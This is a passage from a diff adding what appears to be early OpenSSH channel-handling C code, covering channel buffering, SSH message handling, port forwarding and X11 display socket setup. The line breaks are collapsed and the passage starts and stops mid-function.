{ + error("accept from auth socket: %.100s", strerror(errno)); + return; + } + newch = channel_allocate(SSH_CHANNEL_OPENING, newsock, + xstrdup("accepted auth socket")); + packet_start(SSH_SMSG_AGENT_OPEN); + packet_put_int(newch); + packet_send(); + } +} + +int +channel_handle_rfd(Channel *c, fd_set * readset, fd_set * writeset) +{ + char buf[16*1024]; + int len; + + if (c->rfd != -1 && + FD_ISSET(c->rfd, readset)) { + len = read(c->rfd, buf, sizeof(buf)); + if (len < 0 && (errno == EINTR || errno == EAGAIN)) + return 1; + if (len <= 0) { + debug("channel %d: read<=0 rfd %d len %d", + c->self, c->rfd, len); + if (compat13) { + buffer_consume(&c->output, buffer_len(&c->output)); + c->type = SSH_CHANNEL_INPUT_DRAINING; + debug("Channel %d status set to input draining.", c->self); + } else { + chan_read_failed(c); + } + return -1; + } + buffer_append(&c->input, buf, len); + } + return 1; +} +int +channel_handle_wfd(Channel *c, fd_set * readset, fd_set * writeset) +{ + int len; + + /* Send buffered output data to the socket. */ + if (c->wfd != -1 && + FD_ISSET(c->wfd, writeset) && + buffer_len(&c->output) > 0) { + len = write(c->wfd, buffer_ptr(&c->output), + buffer_len(&c->output)); + if (len < 0 && (errno == EINTR || errno == EAGAIN)) + return 1; + if (len <= 0) { + if (compat13) { + buffer_consume(&c->output, buffer_len(&c->output)); + debug("Channel %d status set to input draining.", c->self); + c->type = SSH_CHANNEL_INPUT_DRAINING; + } else { + chan_write_failed(c); + } + return -1; + } + buffer_consume(&c->output, len); + if (compat20 && len > 0) { + c->local_consumed += len; + } + } + return 1; +} +int +channel_handle_efd(Channel *c, fd_set * readset, fd_set * writeset) +{ + char buf[16*1024]; + int len; + +/** XXX handle drain efd, too */ + if (c->efd != -1) { + if (c->extended_usage == CHAN_EXTENDED_WRITE && + FD_ISSET(c->efd, writeset) && + buffer_len(&c->extended) > 0) { + len = write(c->efd, buffer_ptr(&c->extended), + buffer_len(&c->extended)); + debug("channel %d: written %d to efd %d", + c->self, len, c->efd); + if (len > 0) { + buffer_consume(&c->extended, len); + c->local_consumed += len; + } + } else if (c->extended_usage == CHAN_EXTENDED_READ && + FD_ISSET(c->efd, readset)) { + len = read(c->efd, buf, sizeof(buf)); + debug("channel %d: read %d from efd %d", + c->self, len, c->efd); + if (len == 0) { + debug("channel %d: closing efd %d", + c->self, c->efd); + close(c->efd); + c->efd = -1; + } else if (len > 0) + buffer_append(&c->extended, buf, len); + } + } + return 1; +} +int +channel_check_window(Channel *c, fd_set * readset, fd_set * writeset) +{ + if (!(c->flags & (CHAN_CLOSE_SENT|CHAN_CLOSE_RCVD)) && + c->local_window < c->local_window_max/2 && + c->local_consumed > 0) { + packet_start(SSH2_MSG_CHANNEL_WINDOW_ADJUST); + packet_put_int(c->remote_id); + packet_put_int(c->local_consumed); + packet_send(); + debug("channel %d: window %d sent adjust %d", + c->self, c->local_window, + c->local_consumed); + c->local_window += c->local_consumed; + c->local_consumed = 0; + } + return 1; +} + +void +channel_post_open_1(Channel *c, fd_set * readset, fd_set * writeset) +{ + channel_handle_rfd(c, readset, writeset); + channel_handle_wfd(c, readset, writeset); +} + +void +channel_post_open_2(Channel *c, fd_set * readset, fd_set * writeset) +{ + channel_handle_rfd(c, readset, writeset); + channel_handle_wfd(c, readset, writeset); + channel_handle_efd(c, readset, writeset); + channel_check_window(c, readset, writeset); +} + +void +channel_post_output_drain_13(Channel *c, fd_set * readset, fd_set * writeset) +{ + int len; + /* Send buffered output data to the socket. */ + if (FD_ISSET(c->sock, writeset) && buffer_len(&c->output) > 0) { + len = write(c->sock, buffer_ptr(&c->output), + buffer_len(&c->output)); + if (len <= 0) + buffer_consume(&c->output, buffer_len(&c->output)); + else + buffer_consume(&c->output, len); + } +} + +void +channel_handler_init_20(void) +{ + channel_pre[SSH_CHANNEL_OPEN] = &channel_pre_open_20; + channel_pre[SSH_CHANNEL_X11_OPEN] = &channel_pre_x11_open; + channel_pre[SSH_CHANNEL_PORT_LISTENER] = &channel_pre_listener; + channel_pre[SSH_CHANNEL_X11_LISTENER] = &channel_pre_listener; + + channel_post[SSH_CHANNEL_OPEN] = &channel_post_open_2; + channel_post[SSH_CHANNEL_PORT_LISTENER] = &channel_post_port_listener; + channel_post[SSH_CHANNEL_X11_LISTENER] = &channel_post_x11_listener; +} + +void +channel_handler_init_13(void) +{ + channel_pre[SSH_CHANNEL_OPEN] = &channel_pre_open_13; + channel_pre[SSH_CHANNEL_X11_OPEN] = &channel_pre_x11_open_13; + channel_pre[SSH_CHANNEL_X11_LISTENER] = &channel_pre_listener; + channel_pre[SSH_CHANNEL_PORT_LISTENER] = &channel_pre_listener; + channel_pre[SSH_CHANNEL_AUTH_SOCKET] = &channel_pre_listener; + channel_pre[SSH_CHANNEL_INPUT_DRAINING] = &channel_pre_input_draining; + channel_pre[SSH_CHANNEL_OUTPUT_DRAINING] = &channel_pre_output_draining; + + channel_post[SSH_CHANNEL_OPEN] = &channel_post_open_1; + channel_post[SSH_CHANNEL_X11_LISTENER] = &channel_post_x11_listener; + channel_post[SSH_CHANNEL_PORT_LISTENER] = &channel_post_port_listener; + channel_post[SSH_CHANNEL_AUTH_SOCKET] = &channel_post_auth_listener; + channel_post[SSH_CHANNEL_OUTPUT_DRAINING] = &channel_post_output_drain_13; +} + +void +channel_handler_init_15(void) +{ + channel_pre[SSH_CHANNEL_OPEN] = &channel_pre_open_15; + channel_pre[SSH_CHANNEL_X11_OPEN] = &channel_pre_x11_open; + channel_pre[SSH_CHANNEL_X11_LISTENER] = &channel_pre_listener; + channel_pre[SSH_CHANNEL_PORT_LISTENER] = &channel_pre_listener; + channel_pre[SSH_CHANNEL_AUTH_SOCKET] = &channel_pre_listener; + + channel_post[SSH_CHANNEL_X11_LISTENER] = &channel_post_x11_listener; + channel_post[SSH_CHANNEL_PORT_LISTENER] = &channel_post_port_listener; + channel_post[SSH_CHANNEL_AUTH_SOCKET] = &channel_post_auth_listener; + channel_post[SSH_CHANNEL_OPEN] = &channel_post_open_1; +} + +void +channel_handler_init(void) +{ + int i; + for(i = 0; i < SSH_CHANNEL_MAX_TYPE; i++) { + channel_pre[i] = NULL; + channel_post[i] = NULL; + } + if (compat20) + channel_handler_init_20(); + else if (compat13) + channel_handler_init_13(); + else + channel_handler_init_15(); +} + +void +channel_handler(chan_fn *ftab[], fd_set * readset, fd_set * writeset) +{ + static int did_init = 0; + int i; + Channel *c; + + if (!did_init) { + channel_handler_init(); + did_init = 1; + } + for (i = 0; i < channels_alloc; i++) { + c = &channels[i]; + if (c->type == SSH_CHANNEL_FREE) + continue; + if (ftab[c->type] == NULL) + continue; + (*ftab[c->type])(c, readset, writeset); + chan_delete_if_full_closed(c); + } +} + +void +channel_prepare_select(fd_set * readset, fd_set * writeset) +{ + channel_handler(channel_pre, readset, writeset); +} + +void +channel_after_select(fd_set * readset, fd_set * writeset) +{ + channel_handler(channel_post, readset, writeset); +} + +/* If there is data to send to the connection, send some of it now. */ + +void +channel_output_poll() +{ + int len, i; + Channel *c; + + for (i = 0; i < channels_alloc; i++) { + c = &channels[i]; + + /* We are only interested in channels that can have buffered incoming data. */ + if (compat13) { + if (c->type != SSH_CHANNEL_OPEN && + c->type != SSH_CHANNEL_INPUT_DRAINING) + continue; + } else { + if (c->type != SSH_CHANNEL_OPEN) + continue; + if (c->istate != CHAN_INPUT_OPEN && + c->istate != CHAN_INPUT_WAIT_DRAIN) + continue; + } + if (compat20 && + (c->flags & (CHAN_CLOSE_SENT|CHAN_CLOSE_RCVD))) { + debug("channel: %d: no data after CLOSE", c->self); + continue; + } + + /* Get the amount of buffered data for this channel. */ + len = buffer_len(&c->input); + if (len > 0) { + /* Send some data for the other side over the secure connection. */ + if (compat20) { + if (len > c->remote_window) + len = c->remote_window; + if (len > c->remote_maxpacket) + len = c->remote_maxpacket; + } else { + if (packet_is_interactive()) { + if (len > 1024) + len = 512; + } else { + /* Keep the packets at reasonable size. */ + if (len > packet_get_maxsize()/2) + len = packet_get_maxsize()/2; + } + } + if (len > 0) { + packet_start(compat20 ? + SSH2_MSG_CHANNEL_DATA : SSH_MSG_CHANNEL_DATA); + packet_put_int(c->remote_id); + packet_put_string(buffer_ptr(&c->input), len); + packet_send(); + buffer_consume(&c->input, len); + c->remote_window -= len; + } + } else if (c->istate == CHAN_INPUT_WAIT_DRAIN) { + if (compat13) + fatal("cannot happen: istate == INPUT_WAIT_DRAIN for proto 1.3"); + /* + * input-buffer is empty and read-socket shutdown: + * tell peer, that we will not send more data: send IEOF + */ + chan_ibuf_empty(c); + } + /* Send extended data, i.e. stderr */ + if (compat20 && + c->remote_window > 0 && + (len = buffer_len(&c->extended)) > 0 && + c->extended_usage == CHAN_EXTENDED_READ) { + if (len > c->remote_window) + len = c->remote_window; + if (len > c->remote_maxpacket) + len = c->remote_maxpacket; + packet_start(SSH2_MSG_CHANNEL_EXTENDED_DATA); + packet_put_int(c->remote_id); + packet_put_int(SSH2_EXTENDED_DATA_STDERR); + packet_put_string(buffer_ptr(&c->extended), len); + packet_send(); + buffer_consume(&c->extended, len); + c->remote_window -= len; + } + } +} + +/* + * This is called when a packet of type CHANNEL_DATA has just been received. + * The message type has already been consumed, but channel number and data is + * still there. + */ + +void +channel_input_data(int type, int plen) +{ + int id; + char *data; + unsigned int data_len; + Channel *c; + + /* Get the channel number and verify it. */ + id = packet_get_int(); + c = channel_lookup(id); + if (c == NULL) + packet_disconnect("Received data for nonexistent channel %d.", id); + + /* Ignore any data for non-open channels (might happen on close) */ + if (c->type != SSH_CHANNEL_OPEN && + c->type != SSH_CHANNEL_X11_OPEN) + return; + + /* same for protocol 1.5 if output end is no longer open */ + if (!compat13 && c->ostate != CHAN_OUTPUT_OPEN) + return; + + /* Get the data. */ + data = packet_get_string(&data_len); + packet_done(); + + if (compat20){ + if (data_len > c->local_maxpacket) { + log("channel %d: rcvd big packet %d, maxpack %d", + c->self, data_len, c->local_maxpacket); + } + if (data_len > c->local_window) { + log("channel %d: rcvd too much data %d, win %d", + c->self, data_len, c->local_window); + xfree(data); + return; + } + c->local_window -= data_len; + }else{ + packet_integrity_check(plen, 4 + 4 + data_len, type); + } + buffer_append(&c->output, data, data_len); + xfree(data); +} +void +channel_input_extended_data(int type, int plen) +{ + int id; + int tcode; + char *data; + unsigned int data_len; + Channel *c; + + /* Get the channel number and verify it. */ + id = packet_get_int(); + c = channel_lookup(id); + + if (c == NULL) + packet_disconnect("Received extended_data for bad channel %d.", id); + if (c->type != SSH_CHANNEL_OPEN) { + log("channel %d: ext data for non open", id); + return; + } + tcode = packet_get_int(); + if (c->efd == -1 || + c->extended_usage != CHAN_EXTENDED_WRITE || + tcode != SSH2_EXTENDED_DATA_STDERR) { + log("channel %d: bad ext data", c->self); + return; + } + data = packet_get_string(&data_len); + packet_done(); + if (data_len > c->local_window) { + log("channel %d: rcvd too much extended_data %d, win %d", + c->self, data_len, c->local_window); + xfree(data); + return; + } + debug("channel %d: rcvd ext data %d", c->self, data_len); + c->local_window -= data_len; + buffer_append(&c->extended, data, data_len); + xfree(data); +} + + +/* + * Returns true if no channel has too much buffered data, and false if one or + * more channel is overfull. + */ + +int +channel_not_very_much_buffered_data() +{ + unsigned int i; + Channel *c; + + for (i = 0; i < channels_alloc; i++) { + c = &channels[i]; + if (c->type == SSH_CHANNEL_OPEN) { + if (!compat20 && buffer_len(&c->input) > packet_get_maxsize()) { + debug("channel %d: big input buffer %d", + c->self, buffer_len(&c->input)); + return 0; + } + if (buffer_len(&c->output) > packet_get_maxsize()) { + debug("channel %d: big output buffer %d", + c->self, buffer_len(&c->output)); + return 0; + } + } + } + return 1; +} + +void +channel_input_ieof(int type, int plen) +{ + int id; + Channel *c; + + packet_integrity_check(plen, 4, type); + + id = packet_get_int(); + c = channel_lookup(id); + if (c == NULL) + packet_disconnect("Received ieof for nonexistent channel %d.", id); + chan_rcvd_ieof(c); +} + +void +channel_input_close(int type, int plen) +{ + int id; + Channel *c; + + packet_integrity_check(plen, 4, type); + + id = packet_get_int(); + c = channel_lookup(id); + if (c == NULL) + packet_disconnect("Received close for nonexistent channel %d.", id); + + /* + * Send a confirmation that we have closed the channel and no more + * data is coming for it. + */ + packet_start(SSH_MSG_CHANNEL_CLOSE_CONFIRMATION); + packet_put_int(c->remote_id); + packet_send(); + + /* + * If the channel is in closed state, we have sent a close request, + * and the other side will eventually respond with a confirmation. + * Thus, we cannot free the channel here, because then there would be + * no-one to receive the confirmation. The channel gets freed when + * the confirmation arrives. + */ + if (c->type != SSH_CHANNEL_CLOSED) { + /* + * Not a closed channel - mark it as draining, which will + * cause it to be freed later. + */ + buffer_consume(&c->input, buffer_len(&c->input)); + c->type = SSH_CHANNEL_OUTPUT_DRAINING; + } +} + +/* proto version 1.5 overloads CLOSE_CONFIRMATION with OCLOSE */ +void +channel_input_oclose(int type, int plen) +{ + int id = packet_get_int(); + Channel *c = channel_lookup(id); + packet_integrity_check(plen, 4, type); + if (c == NULL) + packet_disconnect("Received oclose for nonexistent channel %d.", id); + chan_rcvd_oclose(c); +} + +void +channel_input_close_confirmation(int type, int plen) +{ + int id = packet_get_int(); + Channel *c = channel_lookup(id); + + packet_done(); + if (c == NULL) + packet_disconnect("Received close confirmation for " + "out-of-range channel %d.", id); + if (c->type != SSH_CHANNEL_CLOSED) + packet_disconnect("Received close confirmation for " + "non-closed channel %d (type %d).", id, c->type); + channel_free(c->self); +} + +void +channel_input_open_confirmation(int type, int plen) +{ + int id, remote_id; + Channel *c; + + if (!compat20) + packet_integrity_check(plen, 4 + 4, type); + + id = packet_get_int(); + c = channel_lookup(id); + + if (c==NULL || c->type != SSH_CHANNEL_OPENING) + packet_disconnect("Received open confirmation for " + "non-opening channel %d.", id); + remote_id = packet_get_int(); + /* Record the remote channel number and mark that the channel is now open. */ + c->remote_id = remote_id; + c->type = SSH_CHANNEL_OPEN; + + if (compat20) { + c->remote_window = packet_get_int(); + c->remote_maxpacket = packet_get_int(); + packet_done(); + if (c->cb_fn != NULL && c->cb_event == type) { + debug("callback start"); + c->cb_fn(c->self, c->cb_arg); + debug("callback done"); + } + debug("channel %d: open confirm rwindow %d rmax %d", c->self, + c->remote_window, c->remote_maxpacket); + } +} + +void +channel_input_open_failure(int type, int plen) +{ + int id; + Channel *c; + + if (!compat20) + packet_integrity_check(plen, 4, type); + + id = packet_get_int(); + c = channel_lookup(id); + + if (c==NULL || c->type != SSH_CHANNEL_OPENING) + packet_disconnect("Received open failure for " + "non-opening channel %d.", id); + if (compat20) { + int reason = packet_get_int(); + char *msg = packet_get_string(NULL); + char *lang = packet_get_string(NULL); + log("channel_open_failure: %d: reason %d: %s", id, reason, msg); + packet_done(); + xfree(msg); + xfree(lang); + } + /* Free the channel. This will also close the socket. */ + channel_free(id); +} + +void +channel_input_channel_request(int type, int plen) +{ + int id; + Channel *c; + + id = packet_get_int(); + c = channel_lookup(id); + + if (c == NULL || + (c->type != SSH_CHANNEL_OPEN && c->type != SSH_CHANNEL_LARVAL)) + packet_disconnect("Received request for " + "non-open channel %d.", id); + if (c->cb_fn != NULL && c->cb_event == type) { + debug("callback start"); + c->cb_fn(c->self, c->cb_arg); + debug("callback done"); + } else { + char *service = packet_get_string(NULL); + debug("channel: %d rcvd request for %s", c->self, service); +debug("cb_fn %p cb_event %d", c->cb_fn , c->cb_event); + xfree(service); + } +} + +void +channel_input_window_adjust(int type, int plen) +{ + Channel *c; + int id, adjust; + + if (!compat20) + return; + + /* Get the channel number and verify it. */ + id = packet_get_int(); + c = channel_lookup(id); + + if (c == NULL || c->type != SSH_CHANNEL_OPEN) { + log("Received window adjust for " + "non-open channel %d.", id); + return; + } + adjust = packet_get_int(); + packet_done(); + debug("channel %d: rcvd adjust %d", id, adjust); + c->remote_window += adjust; +} + +/* + * Stops listening for channels, and removes any unix domain sockets that we + * might have. + */ + +void +channel_stop_listening() +{ + int i; + for (i = 0; i < channels_alloc; i++) { + switch (channels[i].type) { + case SSH_CHANNEL_AUTH_SOCKET: + close(channels[i].sock); + remove(channels[i].path); + channel_free(i); + break; + case SSH_CHANNEL_PORT_LISTENER: + case SSH_CHANNEL_X11_LISTENER: + close(channels[i].sock); + channel_free(i); + break; + default: + break; + } + } +} + +/* + * Closes the sockets/fds of all channels. This is used to close extra file + * descriptors after a fork. + */ + +void +channel_close_all() +{ + int i; + for (i = 0; i < channels_alloc; i++) + if (channels[i].type != SSH_CHANNEL_FREE) + channel_close_fds(&channels[i]); +} + +/* Returns the maximum file descriptor number used by the channels. */ + +int +channel_max_fd() +{ + return channel_max_fd_value; +} + +/* Returns true if any channel is still open. */ + +int +channel_still_open() +{ + unsigned int i; + for (i = 0; i < channels_alloc; i++) + switch (channels[i].type) { + case SSH_CHANNEL_FREE: + case SSH_CHANNEL_X11_LISTENER: + case SSH_CHANNEL_PORT_LISTENER: + case SSH_CHANNEL_CLOSED: + case SSH_CHANNEL_AUTH_SOCKET: + continue; + case SSH_CHANNEL_LARVAL: + if (!compat20) + fatal("cannot happen: SSH_CHANNEL_LARVAL"); + continue; + case SSH_CHANNEL_OPENING: + case SSH_CHANNEL_OPEN: + case SSH_CHANNEL_X11_OPEN: + return 1; + case SSH_CHANNEL_INPUT_DRAINING: + case SSH_CHANNEL_OUTPUT_DRAINING: + if (!compat13) + fatal("cannot happen: OUT_DRAIN"); + return 1; + default: + fatal("channel_still_open: bad channel type %d", channels[i].type); + /* NOTREACHED */ + } + return 0; +} + +/* + * Returns a message describing the currently open forwarded connections, + * suitable for sending to the client. The message contains crlf pairs for + * newlines. + */ + +char * +channel_open_message() +{ + Buffer buffer; + int i; + char buf[512], *cp; + + buffer_init(&buffer); + snprintf(buf, sizeof buf, "The following connections are open:\r\n"); + buffer_append(&buffer, buf, strlen(buf)); + for (i = 0; i < channels_alloc; i++) { + Channel *c = &channels[i]; + switch (c->type) { + case SSH_CHANNEL_FREE: + case SSH_CHANNEL_X11_LISTENER: + case SSH_CHANNEL_PORT_LISTENER: + case SSH_CHANNEL_CLOSED: + case SSH_CHANNEL_AUTH_SOCKET: + continue; + case SSH_CHANNEL_LARVAL: + case SSH_CHANNEL_OPENING: + case SSH_CHANNEL_OPEN: + case SSH_CHANNEL_X11_OPEN: + case SSH_CHANNEL_INPUT_DRAINING: + case SSH_CHANNEL_OUTPUT_DRAINING: + snprintf(buf, sizeof buf, " #%d %.300s (t%d r%d i%d/%d o%d/%d fd %d/%d)\r\n", + c->self, c->remote_name, + c->type, c->remote_id, + c->istate, buffer_len(&c->input), + c->ostate, buffer_len(&c->output), + c->rfd, c->wfd); + buffer_append(&buffer, buf, strlen(buf)); + continue; + default: + fatal("channel_open_message: bad channel type %d", c->type); + /* NOTREACHED */ + } + } + buffer_append(&buffer, "\0", 1); + cp = xstrdup(buffer_ptr(&buffer)); + buffer_free(&buffer); + return cp; +} + +/* + * Initiate forwarding of connections to local port "port" through the secure + * channel to host:port from remote side. + */ + +void +channel_request_local_forwarding(u_short port, const char *host, + u_short host_port, int gateway_ports) +{ + int success, ch, sock, on = 1; + struct addrinfo hints, *ai, *aitop; + char ntop[NI_MAXHOST], strport[NI_MAXSERV]; + struct linger linger; + + if (strlen(host) > sizeof(channels[0].path) - 1) + packet_disconnect("Forward host name too long."); + + /* + * getaddrinfo returns a loopback address if the hostname is + * set to NULL and hints.ai_flags is not AI_PASSIVE + */ + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_flags = gateway_ports ? AI_PASSIVE : 0; + hints.ai_socktype = SOCK_STREAM; + snprintf(strport, sizeof strport, "%d", port); + if (getaddrinfo(NULL, strport, &hints, &aitop) != 0) + packet_disconnect("getaddrinfo: fatal error"); + + success = 0; + for (ai = aitop; ai; ai = ai->ai_next) { + if (ai->ai_family != AF_INET && ai->ai_family != AF_INET6) + continue; + if (getnameinfo(ai->ai_addr, ai->ai_addrlen, ntop, sizeof(ntop), + strport, sizeof(strport), NI_NUMERICHOST|NI_NUMERICSERV) != 0) { + error("channel_request_local_forwarding: getnameinfo failed"); + continue; + } + /* Create a port to listen for the host. */ + sock = socket(ai->ai_family, SOCK_STREAM, 0); + if (sock < 0) { + /* this is no error since kernel may not support ipv6 */ + verbose("socket: %.100s", strerror(errno)); + continue; + } + /* + * Set socket options. We would like the socket to disappear + * as soon as it has been closed for whatever reason. + */ + setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (void *)&on, sizeof(on)); + linger.l_onoff = 1; + linger.l_linger = 5; + setsockopt(sock, SOL_SOCKET, SO_LINGER, (void *)&linger, sizeof(linger)); + debug("Local forwarding listening on %s port %s.", ntop, strport); + + /* Bind the socket to the address. */ + if (bind(sock, ai->ai_addr, ai->ai_addrlen) < 0) { + /* address can be in use ipv6 address is already bound */ + if (!ai->ai_next) + error("bind: %.100s", strerror(errno)); + else + verbose("bind: %.100s", strerror(errno)); + + close(sock); + continue; + } + /* Start listening for connections on the socket. */ + if (listen(sock, 5) < 0) { + error("listen: %.100s", strerror(errno)); + close(sock); + continue; + } + /* Allocate a channel number for the socket. */ + ch = channel_new( + "port listener", SSH_CHANNEL_PORT_LISTENER, + sock, sock, -1, + CHAN_TCP_WINDOW_DEFAULT, CHAN_TCP_PACKET_DEFAULT, + 0, xstrdup("port listener")); + strlcpy(channels[ch].path, host, sizeof(channels[ch].path)); + channels[ch].host_port = host_port; + channels[ch].listening_port = port; + success = 1; + } + if (success == 0) + packet_disconnect("cannot listen port: %d", port); + freeaddrinfo(aitop); +} + +/* + * Initiate forwarding of connections to port "port" on remote host through + * the secure channel to host:port from local side. + */ + +void +channel_request_remote_forwarding(u_short listen_port, const char *host_to_connect, + u_short port_to_connect) +{ + int payload_len; + /* Record locally that connection to this host/port is permitted. */ + if (num_permitted_opens >= SSH_MAX_FORWARDS_PER_DIRECTION) + fatal("channel_request_remote_forwarding: too many forwards"); + + permitted_opens[num_permitted_opens].host_to_connect = xstrdup(host_to_connect); + permitted_opens[num_permitted_opens].port_to_connect = port_to_connect; + permitted_opens[num_permitted_opens].listen_port = listen_port; + num_permitted_opens++; + + /* Send the forward request to the remote side. */ + if (compat20) { + const char *address_to_bind = "0.0.0.0"; + packet_start(SSH2_MSG_GLOBAL_REQUEST); + packet_put_cstring("tcpip-forward"); + packet_put_char(0); /* boolean: want reply */ + packet_put_cstring(address_to_bind); + packet_put_int(listen_port); + } else { + packet_start(SSH_CMSG_PORT_FORWARD_REQUEST); + packet_put_int(listen_port); + packet_put_cstring(host_to_connect); + packet_put_int(port_to_connect); + packet_send(); + packet_write_wait(); + /* + * Wait for response from the remote side. It will send a disconnect + * message on failure, and we will never see it here. + */ + packet_read_expect(&payload_len, SSH_SMSG_SUCCESS); + } +} + +/* + * This is called after receiving CHANNEL_FORWARDING_REQUEST. This initates + * listening for the port, and sends back a success reply (or disconnect + * message if there was an error). This never returns if there was an error. + */ + +void +channel_input_port_forward_request(int is_root, int gateway_ports) +{ + u_short port, host_port; + char *hostname; + + /* Get arguments from the packet. */ + port = packet_get_int(); + hostname = packet_get_string(NULL); + host_port = packet_get_int(); + + /* + * Check that an unprivileged user is not trying to forward a + * privileged port. + */ + if (port < IPPORT_RESERVED && !is_root) + packet_disconnect("Requested forwarding of port %d but user is not root.", + port); + /* + * Initiate forwarding, + */ + channel_request_local_forwarding(port, hostname, host_port, gateway_ports); + + /* Free the argument string. */ + xfree(hostname); +} + +/* XXX move to aux.c */ +int +channel_connect_to(const char *host, u_short host_port) +{ + struct addrinfo hints, *ai, *aitop; + char ntop[NI_MAXHOST], strport[NI_MAXSERV]; + int gaierr; + int sock = -1; + + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_socktype = SOCK_STREAM; + snprintf(strport, sizeof strport, "%d", host_port); + if ((gaierr = getaddrinfo(host, strport, &hints, &aitop)) != 0) { + error("%.100s: unknown host (%s)", host, gai_strerror(gaierr)); + return -1; + } + for (ai = aitop; ai; ai = ai->ai_next) { + if (ai->ai_family != AF_INET && ai->ai_family != AF_INET6) + continue; + if (getnameinfo(ai->ai_addr, ai->ai_addrlen, ntop, sizeof(ntop), + strport, sizeof(strport), NI_NUMERICHOST|NI_NUMERICSERV) != 0) { + error("channel_connect_to: getnameinfo failed"); + continue; + } + /* Create the socket. */ + sock = socket(ai->ai_family, SOCK_STREAM, 0); + if (sock < 0) { + error("socket: %.100s", strerror(errno)); + continue; + } + /* Connect to the host/port. */ + if (connect(sock, ai->ai_addr, ai->ai_addrlen) < 0) { + error("connect %.100s port %s: %.100s", ntop, strport, + strerror(errno)); + close(sock); + continue; /* fail -- try next */ + } + break; /* success */ + + } + freeaddrinfo(aitop); + if (!ai) { + error("connect %.100s port %d: failed.", host, host_port); + return -1; + } + /* success */ + return sock; +} + +/* + * This is called after receiving PORT_OPEN message. This attempts to + * connect to the given host:port, and sends back CHANNEL_OPEN_CONFIRMATION + * or CHANNEL_OPEN_FAILURE. + */ + +void +channel_input_port_open(int type, int plen) +{ + u_short host_port; + char *host, *originator_string; + int remote_channel, sock = -1, newch, i, denied; + unsigned int host_len, originator_len; + + /* Get remote channel number. */ + remote_channel = packet_get_int(); + + /* Get host name to connect to. */ + host = packet_get_string(&host_len); + + /* Get port to connect to. */ + host_port = packet_get_int(); + + /* Get remote originator name. */ + if (have_hostname_in_open) { + originator_string = packet_get_string(&originator_len); + originator_len += 4; /* size of packet_int */ + } else { + originator_string = xstrdup("unknown (remote did not supply name)"); + originator_len = 0; /* no originator supplied */ + } + + packet_integrity_check(plen, + 4 + 4 + host_len + 4 + originator_len, SSH_MSG_PORT_OPEN); + + /* Check if opening that port is permitted. */ + denied = 0; + if (!all_opens_permitted) { + /* Go trough all permitted ports. */ + for (i = 0; i < num_permitted_opens; i++) + if (permitted_opens[i].port_to_connect == host_port && + strcmp(permitted_opens[i].host_to_connect, host) == 0) + break; + + /* Check if we found the requested port among those permitted. */ + if (i >= num_permitted_opens) { + /* The port is not permitted. */ + log("Received request to connect to %.100s:%d, but the request was denied.", + host, host_port); + denied = 1; + } + } + sock = denied ? -1 : channel_connect_to(host, host_port); + if (sock > 0) { + /* Allocate a channel for this connection. */ + newch = channel_allocate(SSH_CHANNEL_OPEN, sock, originator_string); + channels[newch].remote_id = remote_channel; + + packet_start(SSH_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_put_int(remote_channel); + packet_put_int(newch); + packet_send(); + } else { + packet_start(SSH_MSG_CHANNEL_OPEN_FAILURE); + packet_put_int(remote_channel); + packet_send(); + } + xfree(host); +} + +/* + * Creates an internet domain socket for listening for X11 connections. + * Returns a suitable value for the DISPLAY variable, or NULL if an error + * occurs. + */ + +#define NUM_SOCKS 10 + +char * +x11_create_display_inet(int screen_number, int x11_display_offset) +{ + int display_number, sock; + u_short port; + struct addrinfo hints, *ai, *aitop; + char strport[NI_MAXSERV]; + int gaierr, n, num_socks = 0, socks[NUM_SOCKS]; + char display[512]; + char hostname[MAXHOSTNAMELEN]; + + for (display_number = x11_display_offset; + display_number < MAX_DISPLAYS; + display_number++) { + port = 6000 + display_number; + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_flags = AI_PASSIVE; /* XXX loopback only ? */ + hints.ai_socktype = SOCK_STREAM; + snprintf(strport, sizeof strport, "%d", port); + if ((gaierr = getaddrinfo(NULL, strport, &hints, &aitop)) != 0) { + error("getaddrinfo: %.100s", gai_strerror(gaierr)); + return NULL; + } + for (ai = aitop; ai; ai = ai->ai_next) { + if (ai->ai_family != AF_INET && ai->ai_family != AF_INET6) + continue; + sock = socket(ai->ai_family, SOCK_STREAM, 0); + if (sock < 0) { + if (errno != EINVAL) { + error("socket: %.100s", strerror(errno)); + return NULL; + } else { + debug("Socket family %d not supported [X11 disp create]", ai->ai_family); + continue; + } + } + if (bind(sock, ai->ai_addr, ai->ai_addrlen) < 0) { + debug("bind port %d: %.100s", port, strerror(errno)); + shutdown(sock, SHUT_RDWR); + close(sock); + + if (ai->ai_next) + continue; + + for (n = 0; n < num_socks; n++) { + shutdown(socks[n], SHUT_RDWR); + close(socks[n]); + } + num_socks = 0; + break; + } + socks[num_socks++] = sock; +#ifndef DONT_TRY_OTHER_AF + if (num_socks == NUM_SOCKS) + break; +#else + break; +#endif + } + if (num_socks > 0) + break; + } + if (display_number >= MAX_DISPLAYS) { + error("Failed to allocate internet-domain X11 display socket."); + return NULL; + } + /* Start listening for connections on the socket. */ + for (n = 0; n < num_socks; n++) { + sock = socks[n]; + if (listen(sock, 5) < 0) { + error("listen: %.100s", strerror(errno)); + shutdown(sock, SHUT_RDWR); + close(sock); + return NULL; + } + } + + /* Set up a suitable value for the DISPLAY variable. */ + + if (gethostname(hostname, sizeof(hostname)) < 0) + fatal("gethostname: %.100s", strerror(errno)); + +#ifdef IPADDR_IN_DISPLAY + /* + * HPUX detects the local hostname in the DISPLAY variable and tries + * to set up a shared memory connection to the server, which it + * incorrectly supposes to be local. + * + * The workaround - as used in later $$H and other programs - is + * is to set display to the host's IP address. + */ + { + struct hostent *he; + struct in_addr my_addr; + + he = gethostbyname(hostname); + if (he == NULL) { + error("[X11-broken-fwd-hostname-workaround] Could not get " + "IP address for hostname %s.", hostname); + + packet_send_debug("[X11-broken-fwd-hostname-workaround]" + "Could not get IP address for hostname %s.", hostname); + + shutdown(sock, SHUT_RDWR); + close(sock); + + return NULL; + } + + memcpy(&my_addr, he->h_addr_list[0], sizeof(struct in_addr)); + + /* Set DISPLAY to :screen.display */ + snprintf(display, sizeof(display), "%.50s:%d.%d", inet_ntoa(my_addr), + display_number, screen_number); + } +#else /* IPADDR_IN_DISPLAY */ + /* Just set DISPLAY to hostname:screen.display */ + snprintf(display, sizeof display, "%.400s:%d.%d", hostname, + display_number, screen_number); +#endif /* 